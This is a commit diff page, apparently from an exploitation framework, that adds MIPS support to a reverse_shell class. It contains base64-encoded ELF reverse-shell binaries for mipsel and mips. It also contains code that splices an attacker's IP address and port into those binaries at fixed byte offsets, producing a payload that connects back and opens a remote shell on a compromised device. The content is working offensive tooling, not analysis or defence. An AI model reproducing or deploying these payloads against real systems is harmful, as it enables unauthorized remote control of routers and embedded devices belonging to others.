Commit 955387d5 by Marcin Bury

Adding mips architecture for reverse shell.

parent c27e288b
...@@ -70,6 +70,8 @@ class reverse_shell(object): ...@@ -70,6 +70,8 @@ class reverse_shell(object):
mipsel = b64decode("f0VMRgEBAQAAAAAAAAAAAAIACAABAAAAkABAADQAAACMAQAAABAAUDQAIAACACgABgADAAAAAHB0AAAAdABAAHQAQAAYAAAAGAAAAAQAAAAEAAAAAQAAAAAAAAAAAEAAAABAAGABAABgAQAABQAAAAAAAQD0EQAgAAAAAAAAAAAAAAAAAAAAAFCBQQAAAAAA//8EKKYPAiQMCQkBEREEKKYPAiQMCQkB/f8MJCcggAGmDwIkDAkJAf3/DCQnIIABJyiAAf//BihXEAIkDAkJAf//RDDJDwIkDAkJAckPAiQMCQkBemkFPAIApTT4/6WvAAEFPH8ApTT8/6Wv+P+lI+//DCQnMIABShACJAwJCQFiaQg8Ly8INez/qK9zaAg8bi8INfD/qK///wco9P+nr/z/p6/s/6Qj7P+oI/j/qK/4/6Uj7P+9J///BiirDwIkDAkJAQAAAAAAAAAAAAAAAAAuc3ltdGFiAC5zdHJ0YWIALnNoc3RydGFiAC5yZWdpbmZvAC50ZXh0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABsAAAAGAABwAgAAAHQAQAB0AAAAGAAAAAAAAAAAAAAABAAAABgAAAAkAAAAAQAAAAYAAACQAEAAkAAAANAAAAAAAAAAAAAAABAAAAAAAAAAEQAAAAMAAAAAAAAAAAAAAGABAAAqAAAAAAAAAAAAAAABAAAAAAAAAAEAAAACAAAAAAAAAAAAAAB8AgAAwAAAAAUAAAADAAAABAAAABAAAAAJAAAAAwAAAAAAAAAAAAAAPAMAAEAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB0AEAAAAAAAAMAAQAAAAAAkABAAAAAAAADAAIAAQAAAGABQQAAAAAAEAACAAgAAABQgUEAAAAAABAA8f8MAAAAAAAAAAAAAAAQAAAAFAAAAJAAQAAAAAAAEAACABsAAACQAEAAAAAAABEAAgAiAAAAYAFBAAAAAAAQAPH/LgAAAGABQQAAAAAAEADx/zUAAABgAUEAAAAAABAA8f86AAAAYAFBAAAAAAAQAPH/AF9mZGF0YQBfZ3AAX19zdGFydABfZnRleHQAX3N0YXJ0AF9fYnNzX3N0YXJ0AF9lZGF0YQBfZW5kAF9mYnNzAA==") mipsel = b64decode("f0VMRgEBAQAAAAAAAAAAAAIACAABAAAAkABAADQAAACMAQAAABAAUDQAIAACACgABgADAAAAAHB0AAAAdABAAHQAQAAYAAAAGAAAAAQAAAAEAAAAAQAAAAAAAAAAAEAAAABAAGABAABgAQAABQAAAAAAAQD0EQAgAAAAAAAAAAAAAAAAAAAAAFCBQQAAAAAA//8EKKYPAiQMCQkBEREEKKYPAiQMCQkB/f8MJCcggAGmDwIkDAkJAf3/DCQnIIABJyiAAf//BihXEAIkDAkJAf//RDDJDwIkDAkJAckPAiQMCQkBemkFPAIApTT4/6WvAAEFPH8ApTT8/6Wv+P+lI+//DCQnMIABShACJAwJCQFiaQg8Ly8INez/qK9zaAg8bi8INfD/qK///wco9P+nr/z/p6/s/6Qj7P+oI/j/qK/4/6Uj7P+9J///BiirDwIkDAkJAQAAAAAAAAAAAAAAAAAuc3ltdGFiAC5zdHJ0YWIALnNoc3RydGFiAC5yZWdpbmZvAC50ZXh0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABsAAAAGAABwAgAAAHQAQAB0AAAAGAAAAAAAAAAAAAAABAAAABgAAAAkAAAAAQAAAAYAAACQAEAAkAAAANAAAAAAAAAAAAAAABAAAAAAAAAAEQAAAAMAAAAAAAAAAAAAAGABAAAqAAAAAAAAAAAAAAABAAAAAAAAAAEAAAACAAAAAAAAAAAAAAB8AgAAwAAAAAUAAAADAAAABAAAABAAAAAJAAAAAwAAAAAAAAAAAAAAPAMAAEAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB0AEAAAAAAAAMAAQAAAAAAkABAAAAAAAADAAIAAQAAAGABQQAAAAAAEAACAAgAAABQgUEAAAAAABAA8f8MAAAAAAAAAAAAAAAQAAAAFAAAAJAAQAAAAAAAEAACABsAAACQAEAAAAAAABEAAgAiAAAAYAFBAAAAAAAQAPH/LgAAAGABQQAAAAAAEADx/zUAAABgAUEAAAAAABAA8f86AAAAYAFBAAAAAAAQAPH/AF9mZGF0YQBfZ3AAX19zdGFydABfZnRleHQAX3N0YXJ0AF9fYnNzX3N0YXJ0AF9lZGF0YQBfZW5kAF9mYnNzAA==")
mips = b64decode("f0VMRgECAQAAAAAAAAAAAAACAAgAAAABAEAAkAAAADQAAAGMUAAQAAA0ACAAAgAoAAYAA3AAAAAAAAB0AEAAdABAAHQAAAAYAAAAGAAAAAQAAAAEAAAAAQAAAAAAQAAAAEAAAAAAAWAAAAFgAAAABQABAAAgABH0AAAAAAAAAAAAAAAAAAAAAABBgVAAAAAAKAT//yQCD6YBCQkMKAQRESQCD6YBCQkMJAz//QGAICckAg+mAQkJDCQM//0BgCAnAYAoJygG//8kAhBXAQkJDDBE//8kAg/JAQkJDCQCD8kBCQkMPAUAAjSlemmvpf/4PAXAqDSlATevpf/8I6X/+CQM/+8BgDAnJAIQSgEJCQw8CC8vNQhiaa+o/+w8CG4vNQhzaK+o//AoB///r6f/9K+n//wjpP/sI6j/7K+o//gjpf/4J73/7CgG//8kAg+rAJCTTAAAAAAAAAAAAAAAAAAuc3ltdGFiAC5zdHJ0YWIALnNoc3RydGFiAC5yZWdpbmZvAC50ZXh0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABtwAAAGAAAAAgBAAHQAAAB0AAAAGAAAAAAAAAAAAAAABAAAABgAAAAkAAAAAQAAAAYAQACQAAAAkAAAANAAAAAAAAAAAAAAABAAAAAAAAAAEQAAAAMAAAAAAAAAAAAAAWAAAAAqAAAAAAAAAAAAAAABAAAAAAAAAAEAAAACAAAAAAAAAAAAAAJ8AAAAwAAAAAUAAAADAAAABAAAABAAAAAJAAAAAwAAAAAAAAAAAAADPAAAAEAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAB0AAAAAAMAAAEAAAAAAEAAkAAAAAADAAACAAAAAQBBAWAAAAAAEAAAAgAAAAgAQYFQAAAAABAA//EAAAAMAAAAAAAAAAAQAAAAAAAAFABAAJAAAAAAEAAAAgAAABsAQACQAAAAABEAAAIAAAAiAEEBYAAAAAAQAP/xAAAALgBBAWAAAAAAEAD/8QAAADUAQQFgAAAAABAA//EAAAA6AEEBYAAAAAAQAP/xAF9mZGF0YQBfZ3AAX19zdGFydABfZnRleHQAX3N0YXJ0AF9fYnNzX3N0YXJ0AF9lZGF0YQBfZW5kAF9mYnNzAA==")
exploit = None exploit = None
arch = None arch = None
lhost = None lhost = None
...@@ -103,6 +105,8 @@ class reverse_shell(object): ...@@ -103,6 +105,8 @@ class reverse_shell(object):
self.revshell = self.arm[:0x104] + ip + self.arm[0x108:0x10a] + port + self.arm[0x10c:] self.revshell = self.arm[:0x104] + ip + self.arm[0x108:0x10a] + port + self.arm[0x10c:]
elif self.arch == 'mipsel': elif self.arch == 'mipsel':
self.revshell = self.mipsel[:0xe4] + port + self.mipsel[0xe6:0xf0] + ip[2:] + self.mipsel[0xf2:0xf4] + ip[:2] + self.mipsel[0xf6:] self.revshell = self.mipsel[:0xe4] + port + self.mipsel[0xe6:0xf0] + ip[2:] + self.mipsel[0xf2:0xf4] + ip[:2] + self.mipsel[0xf6:]
elif self.arch == 'mips':
self.revshell = self.mips[:0xea] + port + self.mips[0xec:0xf2] + ip[:2] + self.mips[0xf4:0xf6] + ip[2:] + self.mips[0xf8:]
else: else:
print_error("Platform not supported") print_error("Platform not supported")
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment